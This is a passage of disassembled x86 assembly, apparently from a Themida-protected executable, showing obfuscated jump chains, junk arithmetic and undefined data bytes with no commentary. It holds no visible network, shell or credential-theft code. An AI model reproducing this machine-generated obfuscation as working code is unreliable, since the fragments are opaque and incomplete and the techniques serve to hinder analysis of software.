		db 31h,	0D0h, 0E9h
		dd 0FFFFF6CEh, 0C6815E54h, 4, 4C681h, 34870000h, 0C885C24h
		dd 2BF8E987h, 88520000h, 885350EEh, 0DFBE9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60959E:				; CODE XREF: Themida_:0060ACE8j
		add	esp, 4
		or	ebp, edx
		pop	edx
		not	ebp
		not	ebp
		shr	ebp, 7
		sub	ebp, offset dword_57A6F0
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_6047A0
; ---------------------------------------------------------------------------
		db 68h,	0E6h, 4
		dd 34890000h, 81E68924h, 4ECh, 24048900h, 960702B8h, 5E0C122h
		dd 5702E0C1h, 0BDE9E789h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6095E3:				; CODE XREF: Themida_:0060B251j
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_609D96
; ---------------------------------------------------------------------------


loc_6095F2:				; CODE XREF: Themida_:0060EC63j
		pop	ebx
		pop	cx
		push	ax
		jmp	loc_60EFE6
; ---------------------------------------------------------------------------


loc_6095FC:				; CODE XREF: Themida_:0060651Fj
		push	eax
		inc	byte ptr [esp+1]
		pop	eax
		push	ecx
		jmp	loc_606B3C
; ---------------------------------------------------------------------------


loc_609608:				; CODE XREF: Themida_:006065F2j
		inc	eax
		inc	eax
		add	eax, 4128D876h
		and	edi, eax
		jmp	loc_60D11D
; ---------------------------------------------------------------------------
		dw 4EBEh
		dd 817E8376h, 0C95549C3h, 81F32967h, 0C95549EBh, 89555E67h
		dd 5DE889DDh, 0FFD998E9h, 26C6BDFFh, 0D5F72E42h, 0C394C581h
		dd 0EE295B7Ah, 0FFC0CDE9h, 0D0015BFFh, 2060E9h,	4C48100h
		dd 56000000h, 0D62D8BBEh, 0B850512Dh, 10142EB6h, 3DEA63B9h
		dd 58C10166h, 0FFFA5FE9h, 0DAE955FFh, 31FFFFC5h, 0B1E92404h
		dd 28FFFFFCh, 670458C6h, 0B652F000h, 0DE6EE967h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60968E:				; CODE XREF: Themida_:00603613j
		sub	ebp, 4FDB38A6h
		sub	ebp, edi
		push	ebx
		mov	ebx, 4A9948CDh
		shr	ebx, 2
		add	ebx, 493061F7h
		shl	ebx, 4
		xor	ebx, 614704B9h
		dec	ebx
		sub	ebx, 8C510D72h
		add	ebp, ebx
		jmp	loc_60A27E
; ---------------------------------------------------------------------------
		dd 0F281D2F7h, 0D9DDF219h, 0E7E9D689h, 58FFFFB6h, 405h
		dd 42D00h, 0FF500000h, 0E9042474h, 2859h, 582434FFh, 0E6895656h
		dd 4C681h, 0EE830000h, 24348704h, 2424895Ch, 4240483h
		dd 5E2434FFh, 4C481h, 0BA520000h, 4, 4C2EB850h,	0C6293629h
		dd 81D60158h, 294C2EC6h, 0C6815A36h, 4,	8B243487h, 99E92424h
		dd 81FFFFECh, 0CF111AEAh, 5AD109DFh, 0E981D1F7h, 0C6C0A17Ch
		dd 0C8BCE01h, 4C48324h,	0FF9C18E9h, 53E268FFh, 2C890000h
		dd 2BD24h, 0EE010000h, 50242C8Bh, 405E089h, 5000000h, 4
		dd 5C240487h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_60341D
; ---------------------------------------------------------------------------


loc_60978C:				; CODE XREF: Themida_:0060EE4Ej
		xchg	ebp, ecx
		jmp	loc_60B105
; ---------------------------------------------------------------------------


loc_609793:				; CODE XREF: Themida_:0060E422j
		xor	cl, dh
		xor	dh, cl
		xor	cl, dh
		inc	dh
		xchg	dh, cl
		or	cl, 93h
		shr	cl, 2
		jmp	loc_607C54
; ---------------------------------------------------------------------------


loc_6097A8:				; CODE XREF: Themida_:0060A265j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_6032DD
; ---------------------------------------------------------------------------


loc_6097B8:				; CODE XREF: Themida_:0060E828j
		push	edx
		jmp	loc_60CD60
; ---------------------------------------------------------------------------
		dw 489h
aTxh6		db '$TXh-6',0
		align 4
		dd 0BE243489h, 4, 1E3E4D2Dh, 0E9F0014Bh, 0FFFFD1D4h, 4EC81h
		dd 3C890000h, 0E9E78924h, 0FFFFDC70h, 0C897E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6097F2:				; CODE XREF: Themida_:0060AD94j
		xor	ebx, 5381043Eh
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_60F0FB
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 0FFACCFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_609811:				; CODE XREF: Themida_:00606CA4j
		pop	ebx
		shr	ecx, 6
		and	ecx, 69965AF4h
		push	esi
		mov	esi, 4C102ECh
		sub	esi, 6530B78h
		add	ecx, esi
		pop	esi
		jmp	loc_60948A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 24D32424h, 0A2E99C24h, 81FFFF9Ah, 0E67BFBF1h, 0CD89557Dh
		dd 0E9E9EF89h, 8B00000Ch, 0B6E92424h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_609853:				; CODE XREF: Themida_:00605549j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_60E8A8
; ---------------------------------------------------------------------------
		dw 0A8BEh
		dd 1597F0Bh, 24348BF0h,	4C481h,	0D8290000h, 0BD3BD55h
		dd 0DDF73FAAh, 27B85056h, 892D6D58h, 1E958C6h, 56FFFFABh
		dd 109ABD55h, 0E9525331h, 0FFFFB1F5h, 241C8B58h, 4C481h
		dd 0E9520000h, 0FFFF9E99h, 0C588D088h, 51BF6858h, 1C890000h
		dd 0BB24h, 0C3010000h, 0B9E92B88h, 59FFFFB6h, 55F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_6098C9:				; CODE XREF: Themida_:0060AB69j
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	1
		mov	esi, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_60529D
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C781h, 0C7830000h, 0DDA2E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_609906:				; CODE XREF: Themida_:0060B9F9j
		mov	ecx, 3966259Ah
		xor	esi, ecx
		jmp	loc_606876
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 9C85E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60991A:				; CODE XREF: Themida_:00605A0Ej
		or	ecx, 0D5A7D8Fh
		sub	ecx, 2D5A7F9Bh
		add	esi, ecx
		pop	ecx
		jmp	loc_60DFFD
; ---------------------------------------------------------------------------


loc_60992E:				; CODE XREF: Themida_:0060A15Ej
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		dec	ebp
		add	ebp, 0EE6574Ch
		push	edx
		mov	edx, 2135546Ch
		not	edx
		sub	edx, 57BE2504h
		sub	edx, 0DCD39A5h
		xor	ebp, edx
		pop	edx
		inc	ebp
		dec	ebp
		sub	ebp, 288C1406h
		jmp	loc_60A51C
; ---------------------------------------------------------------------------


loc_609964:				; CODE XREF: Themida_:00606D50j
		pop	esi
		jmp	loc_6060A2
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 0BADE9h, 0B3E98000h, 0FEFFC180h, 0B8A2E9C1h, 2C89FFFFh
		dd 9A685324h, 0E906C819h, 0FFFFE872h, 525334B5h, 0E6C083B6h
		dd 0BBF68002h, 0CEFED6F6h, 88B8EE80h, 0FD005AF7h, 0C7B7535Bh
		dd 0E9F6C780h, 0FFFFDD22h
; ---------------------------------------------------------------------------


loc_6099B4:				; CODE XREF: Themida_:0060D756j
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		jmp	loc_60C2D5
; ---------------------------------------------------------------------------


loc_6099CA:				; CODE XREF: Themida_:0060C8A2j
		sub	esp, 4
		jmp	loc_605AC2
; ---------------------------------------------------------------------------
		dw 0FE89h
		dd 0A90EE95Fh, 34FFFFFFh, 24048B24h, 66BB68h, 243C8900h
		dd 0FF9AAEE9h, 243C8BFFh, 5004C483h, 0FFF7ABE9h, 256EB9FFh
		dd 0D4E97FF6h, 29FFFFE9h, 0F786E9D1h, 20B0FFFFh, 0E951E0D0h
		dd 2262h, 2BE5652h, 8902B54Ch, 741E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_609A22:				; CODE XREF: Themida_:0060E9DAj
		xor	ch, 0BEh
		sub	ch, 54h
		jmp	loc_609EBA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 58000000h, 4EC81h, 34890000h, 1262BE24h, 0DEE95FBFh
		dd 6600001Fh, 1521CF81h, 0E9D7F766h, 21EDh, 81242C8Bh
		dd 4C4h, 79F58100h, 0E9208D5Bh,	0FFFFF7BCh, 0C281E2D1h
		dd 59165706h, 815AD301h, 4C3h, 241C8700h, 0E924248Bh, 4736h
		dd 0C0EFE958h, 8155FFFFh, 4ECh,	24148900h, 0B21B86BAh
		dd 35CA8120h, 0C12A7A1Bh, 0C28108E2h, 49C67A6Ch, 0CE98C281h
		dd 0D589BC1Dh, 53DEE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_609AB6:				; CODE XREF: Themida_:006093D9j
		mov	ecx, [esp]
		jmp	loc_60A888
; ---------------------------------------------------------------------------


loc_609ABE:				; CODE XREF: Themida_:00608ACDj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_60583B
; ---------------------------------------------------------------------------
		db 89h,	0F8h, 0E9h
		dd 0FFFFF203h, 4C481h, 0C870000h, 43B1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_609ADE:				; CODE XREF: Themida_:00605E26j
		add	ebx, 7FFC7A68h
		add	ebx, edi
		sub	ebx, 7FFC7A68h
		jmp	loc_60B871
; ---------------------------------------------------------------------------
		db 58h,	66h, 5Ah
		dd 0B868D9F6h, 0E9000013h, 2698h
; ---------------------------------------------------------------------------


loc_609B00:				; CODE XREF: Themida_:0060E87Aj
		sub	dword ptr [esp+4], 55E819DCh
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_608859
; ---------------------------------------------------------------------------
		dd 8E2C058h, 0FFD701E9h, 1AE981FFh, 0C107037Ah,	0F18104E1h
		dd 64D861E6h, 0E181D9F7h, 57055959h, 4CC2F181h,	0C581427Ah
		dd 54016BC9h, 0ED81CD29h, 54016BC9h, 4BC58159h,	81C4B8FCh
		dd 3C45BEC2h, 81EA0113h, 3C45BEEAh, 242C8B13h, 717268h
		dd 241C8900h, 0C3815B54h, 4, 0E904C383h, 0F6Ah
; ---------------------------------------------------------------------------


loc_609B80:				; CODE XREF: Themida_:006059ADj
		shr	edi, 4
		sub	edi, 3E507B58h
		shl	edi, 4
		jmp	loc_60E4C1
; ---------------------------------------------------------------------------
		db 5, 0F5h, 4
		dd 0E80172D2h, 0D204F52Dh, 0D8015D72h, 7E349B2Dh, 18AB2D1Fh
		dd 22680A08h, 0E900006Fh, 1374h, 73E95066h, 30000048h
		dd 241C8BD8h, 179768h, 241C8900h, 0BAE9E389h, 0BDFFFFC8h
		dd 57A408C5h, 8C1ED81h,	0EB0157A4h, 2C3815Dh, 68000000h
		dd 4F2Fh, 89241489h, 4C281E2h, 81000000h, 4EAh,	24148700h
		dd 9C00E95Ch, 3C89FFFFh, 81E78924h, 4C7h, 4C78100h, 87000000h
		dd 248B243Ch, 0DFAE924h, 0B2520000h, 6E2C000h, 0FFF7E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_609C29:				; CODE XREF: Themida_:00609F53j
		pop	edx
		inc	esi
		xor	esi, 0BE7047Bh
		add	esi, 6F637590h
		xor	ebp, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_60A8A3
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 27220005h
		jmp	loc_609DC2
; ---------------------------------------------------------------------------


loc_609C6A:				; CODE XREF: Themida_:00608273j
		neg	ebp
		or	ebp, 25055CD7h
		push	esi
		mov	esi, 72BC0C2Bh
		jmp	loc_60BD45
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 0E95A0424h, 0FFFFF2CCh
; ---------------------------------------------------------------------------


loc_609C88:				; CODE XREF: Themida_:00603AD9j
		sub	edx, 0DFB5B642h
		mov	ebx, edx
		pop	edx
		sub	ecx, 140A77DBh
		jmp	loc_60C000
; ---------------------------------------------------------------------------
		dd 240C8B66h, 9E80E951h, 77FFFFFFh, 2434FF1Ch, 582434FFh
		dd 0E9E68956h, 4746h
; ---------------------------------------------------------------------------


loc_609CB8:				; CODE XREF: Themida_:00603D89j
		mov	esi, 4
		add	ebx, esi
		jmp	loc_608E4F
; ---------------------------------------------------------------------------
		dd 4748E1BEh, 7E6C123h,	0FFE189E9h, 4EC81FFh, 89000000h
		dd 0E389241Ch, 0D5BF5750h, 89079D15h, 5F355FF8h, 350F751Ah
		dd 76BD1F17h, 0FFD3D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_609CF5:				; CODE XREF: Themida_:00604D3Fj
		mov	[esp], eax
		mov	al, dl
		mov	bh, al
		jmp	loc_60EA23
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0C1h
		dd 0C78107E7h, 0DDFE9C77h, 0CF81DFF7h, 3D8C6CB0h, 27B1E781h
		dd 0F74F0864h, 0F781D7h, 899776C1h, 0ED815FFDh,	0DE91758h
		dd 0E9E5D145h, 1DDBh
; ---------------------------------------------------------------------------


loc_609D34:				; CODE XREF: Themida_:006042DEj
		sub	ebp, 0FFFFFFFFh
		not	ebp
		xor	ebp, 0C184B3AFh
		mov	eax, ebp
		pop	ebp
		not	eax
		or	eax, 0A6034CBh
		and	eax, 71D53397h
		jmp	loc_604454
; ---------------------------------------------------------------------------
		db 57h
		dd 2D06E4BFh, 2AD1B824h, 0D4E909DBh, 8BFFFFAAh,	0C483240Ch
		dd 4C48104h, 0E9000000h, 0FFFF9569h, 0C91EE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_609D7A:				; CODE XREF: Themida_:0060B6CEj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_6064EE
; ---------------------------------------------------------------------------


loc_609D8A:				; CODE XREF: Themida_:0060B11Fj
		xor	ebx, 22C923F3h
		dec	ebx
		jmp	loc_60BB45
; ---------------------------------------------------------------------------


loc_609D96:				; CODE XREF: Themida_:006095EDj
		push	edi
		push	ebp
		push	231A2AA8h
		pop	ebp
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		add	ebp, 46A33484h
		sub	ebp, 238909D7h
		mov	edi, ebp
		pop	ebp
		jmp	loc_60ADDD
; ---------------------------------------------------------------------------
		dd 24048B66h, 319DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_609DC2:				; CODE XREF: Themida_:00609C65j
		sub	dword ptr [esp+4], 46B401D5h
		sub	[esp+4], edi
		add	dword ptr [esp+4], 46B401D5h
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		push	61ADh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_60BE49
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	0DAE99C24h, 66FFFF94h, 68240C8Bh
		dd 4550h, 68241C89h, 27CDh, 24048F54h, 4240481h, 8B000000h
		dd 0C483241Ch, 6CE95004h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_609E2B:				; CODE XREF: Themida_:00605A18j
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 27430496h
		push	ecx
		mov	ecx, 7A451046h
		sub	eax, ecx
		pop	ecx
		add	eax, 58566692h
		sub	eax, edi
		sub	eax, 58566692h
		add	eax, 7A451046h
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 289F2449h
		push	ecx
		neg	dword ptr [esp]
		pop	ecx
		shl	ecx, 6
		push	ebx
		push	ebp
		mov	ebp, 6E5E1281h
		jmp	loc_60778C
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 0FF5104E9h, 59042474h, 0FFC08CE9h, 82E981FFh
		dd 0E91A483Ah, 5341h, 24048F5Bh, 1836E95Ch, 0BF570000h
		dd 954BBEh, 0F4F78147h,	2966E277h, 0D0F75FF8h, 393FE948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_609EBA:				; CODE XREF: Themida_:00609A28j
		mov	bh, ch
		pop	ecx
		add	cl, 2
		sub	cl, bh
		sub	cl, 2
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_604EB1
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0B9E90000h, 68FFFFC1h, 70C7h, 68241C89h, 0FE9h, 0BA241489h
		dd 16B351FBh, 794768h, 24148900h, 24148B5Bh, 5604C483h
		dd 20253EBEh, 0E13EE908h, 0EB80FFFFh, 0E9C3289Ah, 0FFFFCAAFh
; ---------------------------------------------------------------------------


loc_609F14:				; CODE XREF: Themida_:0060AA41j
		add	esp, 4
		neg	eax
		and	eax, 16184C4Eh
		add	eax, 4F7E3266h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		inc	ebp
		and	ebp, 31364265h
		add	ebp, 74BA4AA7h
		not	ebp
		push	esi
		push	edx
		mov	edx, 27F43D27h
		neg	edx
		add	edx, 53D41688h
		shr	edx, 1
		add	edx, 0EB4B152Bh
		mov	esi, edx
		jmp	loc_609C29
; ---------------------------------------------------------------------------
		dd 46857h, 3C8B0000h, 5A545224h, 4C281h, 0BE560000h, 4
		dd 875EF201h, 85E92414h, 5C000000h, 53E18951h, 4BBh, 0E9D90100h
		dd 0FFFFC6C6h, 0FF934CE9h, 24248BFFh, 24048966h, 0E9BBB753h
		dd 0FFFFEA32h, 0C103EEC1h, 79E907EEh
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_609FAB:				; CODE XREF: Themida_:00607175j
		mov	eax, 3273717Ah
		jmp	loc_60E5FF
; ---------------------------------------------------------------------------
		db 35h,	98h, 9
		dd 0C189B433h, 81D9F758h, 99C1D8E9h, 59CA3184h,	148BD789h
		dd 8E95624h, 87000015h,	565C240Ch, 0C2E9E689h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_609FDF:				; CODE XREF: Themida_:0060B13Aj
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_60C85E
; ---------------------------------------------------------------------------


loc_609FED:				; CODE XREF: Themida_:006087A4j
		mov	[esp], ebx
		mov	ebx, 1C7E6685h
		xor	ebx, 13B41C93h
		jmp	loc_603F07
; ---------------------------------------------------------------------------
		dd 124248Bh, 0C335FF9h,	240C3124h, 0FFF901E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60A011:				; CODE XREF: Themida_:00605211j
		mov	bh, cl
		jmp	loc_60EC61
; ---------------------------------------------------------------------------
		dd 0CD2CD800h, 3FE98E04h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A023:				; CODE XREF: Themida_:0060F519j
		mov	[esp], edx
		jmp	loc_60F044
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0ADE92404h, 58000041h, 0FFF714E9h, 5EF201FFh, 4BF57h
		dd 0FA290000h, 4EC835Fh, 0FF241489h, 5A042474h,	0E924048Fh
		dd 0FFFFA34Bh, 0D23ABFB8h, 5E4E2526h, 3B350AF1h, 0E93C2965h
		dd 0FFFFE169h, 242C8151h, 286863D6h, 5124148Bh,	0C181E189h
		dd 4, 0A5685157h, 5931877Eh, 2043F181h,	0BD551E50h, 57824BEDh
		dd 0B8AE9h, 0ACBF5700h,	0C176A57Ch, 0F78108EFh,	678B6158h
		dd 1C64F781h, 0D7F705C2h, 0FFEADCE9h, 0ED815BFFh, 6AC035C7h
		dd 815DEB29h, 2C189BEBh, 0E9EB0179h, 0FFFFEA9Bh, 0E9242489h
		dd 0FFFFB043h, 0E95BDF01h, 2154h
; ---------------------------------------------------------------------------


loc_60A0DC:				; CODE XREF: Themida_:00606C13j
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	eax
		jmp	loc_605C5E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4685500h, 5D000000h, 875DE901h, 0E95C240Ch, 0FFFF91CDh
		dd 51240C8Bh, 0FFA6E5E9h, 24048BFFh, 0FFEFCBE9h, 0D8F758FFh
		dd 9D027605h, 8BC78947h, 0C4812404h, 4,	835FFB01h, 1C8704C3h
		dd 68555C24h, 134Fh, 57243489h,	6A6006BFh, 0F880E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A152:				; CODE XREF: Themida_:006093C7j
		push	ebp
		push	ecx
		mov	ecx, 10E012F7h
		mov	ebp, 41E1580h
		jmp	loc_60992E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8706E2C1h, 87D7F7FAh, 0E5C281FAh, 19AAF90h, 79E95AD7h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_60A17B:				; CODE XREF: Themida_:00609380j
		add	edi, 1B790F2h
		or	esi, edi
		pop	edi
		sub	esi, 0BCCF9DBBh
		jmp	loc_60D309
; ---------------------------------------------------------------------------


loc_60A18F:				; CODE XREF: Themida_:0060470Aj
		add	ah, 0C0h
		jmp	loc_60AF78
; ---------------------------------------------------------------------------


loc_60A197:				; CODE XREF: Themida_:00604CDBj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 0E1B8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A1BA:				; CODE XREF: Themida_:0060E611j
		mov	[esp], eax
		xchg	edx, [esp]
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		push	ecx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	ecx
		jmp	loc_603BF2
; ---------------------------------------------------------------------------
		db 0E9h, 3, 91h
		dd 0E981FFFFh, 6CCD0212h, 12E9CF01h, 81000041h,	4C4h, 40500h
		dd 89510000h, 304CE9E1h, 0D1B70000h, 80BEE780h,	75E93BC7h
		dd 9FFFFC8h, 243C8BFBh,	81E28952h, 4C2h, 4C28300h, 0E9241487h
		dd 0FFFFDA78h, 78202DADh, 0BA5210F6h, 685517ABh, 0E95AD029h
		dd 1629h
; ---------------------------------------------------------------------------


loc_60A234:				; CODE XREF: Themida_:0060431Bj
		pop	eax
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 2
		xor	eax, [esp]
		jmp	loc_6097A8
; ---------------------------------------------------------------------------
		dw 0FE5Bh
		dd 0CDEE9C9h, 0E9830000h, 240C8704h, 0D147E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A27E:				; CODE XREF: Themida_:006096B7j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_603524
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048966h, 0FF9044E9h, 0EABE56FFh, 3103AF50h, 22E95EF2h
		dd 68000004h, 2AE8h, 0BA241489h, 635922F1h, 498AE9h, 24248B00h
		dd 54242C89h, 4C5815Dh,	83000000h, 2C8702C5h, 24248B24h
		dd 0E9028864h, 0FFFF9005h, 98E95451h, 81000015h, 8E7EE5C1h
		dd 0F7D1F759h, 8E9C1D9h, 2DABA52h, 0EA817F7Ch, 1BD43CC0h
		dd 4A21BF57h, 0B3E94BF7h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A303:				; CODE XREF: Themida_:0060ACBEj
		and	dl, 7Ah
		dec	dl
		add	dl, 5Bh
		jmp	loc_60C4DB
; ---------------------------------------------------------------------------


loc_60A310:				; CODE XREF: Themida_:0060AB04j
		mov	[esp], edx
		jmp	loc_60E4D9
; ---------------------------------------------------------------------------
		dd 0AE205D2Dh, 5E82962h, 62AE205Dh, 5D2434FFh, 1114E9h
		db 0
; ---------------------------------------------------------------------------


loc_60A32D:				; CODE XREF: Themida_:0060467Ej
		inc	eax
		or	eax, 19D70D4h
		sub	eax, 4DD26FEEh
		xor	eax, 0BDE750FBh
		sub	ebx, eax
		pop	eax
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 24h
		mov	edx, esi
		pop	esi
		jmp	loc_6055FE
; ---------------------------------------------------------------------------


loc_60A368:				; CODE XREF: Themida_:0060B42Dj
		mov	edx, 7585107Fh
		sub	edx, 77C34E87h
		jmp	loc_60CF0C
; ---------------------------------------------------------------------------
		dd 0E6C7E981h, 0CE312C30h, 8BF30159h, 42E92434h, 83FFFFB5h
		dd 0C28104C4h, 2, 0FFF8E4E9h, 8BFC88FFh, 8951241Ch, 4C181E1h
		dd 50000000h, 0FFD906E9h, 0C2815BFFh, 4A886DF9h, 2FB5E9h
		db 0
; ---------------------------------------------------------------------------


loc_60A3B9:				; CODE XREF: Themida_:00608A3Ej
		push	ecx
		mov	ecx, 21113393h
		shr	ecx, 6
		jmp	loc_608934
; ---------------------------------------------------------------------------
		db 66h
		dd 0E99A2C59h, 0FFFFF2AFh, 0A5F8E954h, 0E9C0FFFFh, 0ACE98002h
		dd 0E959CB00h, 0FFFFC727h, 9D6E951h, 805B0000h,	0C380BDF5h
		dd 0E9EB0012h, 0B21h, 50240C8Bh, 0FF9D3AE9h, 0B8505BFFh
		dd 4, 5258C201h, 0FFDDE8E9h, 0C6E9C3FFh, 8BFFFF8Eh, 34FF2424h
		dd 2434FF24h, 5B545358h, 0FFD4CFE9h, 4C481FFh, 1000000h
		dd 0ED835FFDh, 0E582E902h, 8B66FFFFh, 0A8682404h, 0E9000071h
		dd 0FFFFCAA6h
; ---------------------------------------------------------------------------


loc_60A448:				; CODE XREF: Themida_:0060BB40j
		pop	ebx
		push	esi
		mov	esi, 1F9C1DC2h
		or	esi, 12E14944h
		neg	esi
		jmp	loc_604851
; ---------------------------------------------------------------------------


loc_60A45C:				; CODE XREF: Themida_:0060C2DEj
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_6075DF
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 4C381h, 0C3830000h, 241C8704h, 0E389535Ch, 536E9h, 59CA0100h
		dd 82E2C281h, 0D73119FCh, 2580E95Ah, 0F2810000h, 23761634h
		dd 1513E9h, 24148B00h, 6804C483h, 6447h, 0FF243489h, 8B042474h
		dd 0C4832434h, 24048F04h, 0FF97D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60A4C9:				; CODE XREF: Themida_:00603418j
		add	ebx, 25F37211h
		add	ebx, 7D8D749Eh
		push	1DD4h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	59E1h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_60C79C
; ---------------------------------------------------------------------------


loc_60A502:				; CODE XREF: Themida_:0060D5A4j
		dec	edx
		xor	edx, 4A3024B3h
		and	eax, edx
		jmp	loc_607DBB
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0E9502404h, 0FFFFA3EAh
; ---------------------------------------------------------------------------


loc_60A51C:				; CODE XREF: Themida_:0060995Fj
		push	edi
		jmp	loc_607E6B
; ---------------------------------------------------------------------------
		dw 42Dh
		dd 0E9000000h, 0FFFFA826h, 0E9243433h, 35A6h, 240C8B5Dh
		dd 0FFFEECE9h, 52505AFFh, 4BAh,	0E9D08900h, 4E4Ah
; ---------------------------------------------------------------------------


loc_60A54C:				; CODE XREF: Themida_:00605522j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		jmp	loc_606984
; ---------------------------------------------------------------------------


loc_60A559:				; CODE XREF: Themida_:006038FDj
		push	edi
		jmp	loc_60F1F4
; ---------------------------------------------------------------------------


loc_60A55F:				; CODE XREF: Themida_:0060B249j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_60D4D1
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0E1h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60A577:				; CODE XREF: Themida_:0060C52Bj
		dec	esi
		not	esi
		xor	esi, 0C26EC5A8h
		add	edx, 4D785D4Fh
		add	edx, 65600012h
		sub	edx, esi
		jmp	loc_60A681
; ---------------------------------------------------------------------------


